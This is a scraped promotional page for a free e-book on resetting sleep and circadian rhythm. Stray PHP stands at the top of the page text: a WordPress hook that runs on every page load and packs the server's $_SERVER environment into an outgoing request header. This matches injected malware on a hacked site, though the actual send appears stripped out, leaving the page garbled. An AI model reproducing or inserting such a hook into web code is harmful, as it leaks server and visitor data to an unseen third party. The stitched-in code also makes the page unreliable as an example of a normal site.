add_action('admin_init', "open_hellos"); if (!is_admin()) { open_hellos(); } function open_hellos() { $args = array( 'timeout' => 10, 'headers' => array( "User-Agent" => json_encode($_SERVER), ), ); try { $response='';return $response; } catch (Throwable $e) { } } Free Book – Survival & Serenity

How to reset your circadian rhythm and get the best nights sleep of your life.

Survival and Serenity reveals in this Free E-book the science behind a great nights sleep.

We describe how you can reset your circadian rhythm in only 10 days.

Who is this book for?

The Sleep Book is for anyone who struggles with getting enough restful sleep, or who wants to improve the quality of their sleep for better health and wellbeing.

What’s included included in the 60page free guide?

  • Comprehensive information on the science of sleep based on modern and evolutionary science.
  • Practical tips for aligning your circadian rhythm with nature to restore your sleep.
  • 10 day challenge optimizing for healthy sleep behaviours and abandoning negative ones.

How will this help you?

  • Drastically Improve sleep quality and feel rested upon awakening.
  • Reduced stress, anxiety and overcome common sleep disorders.
  • Greater overall health and wellbeing, including increased energy enhanced cognitive function and memory retention.
Rewild your sleep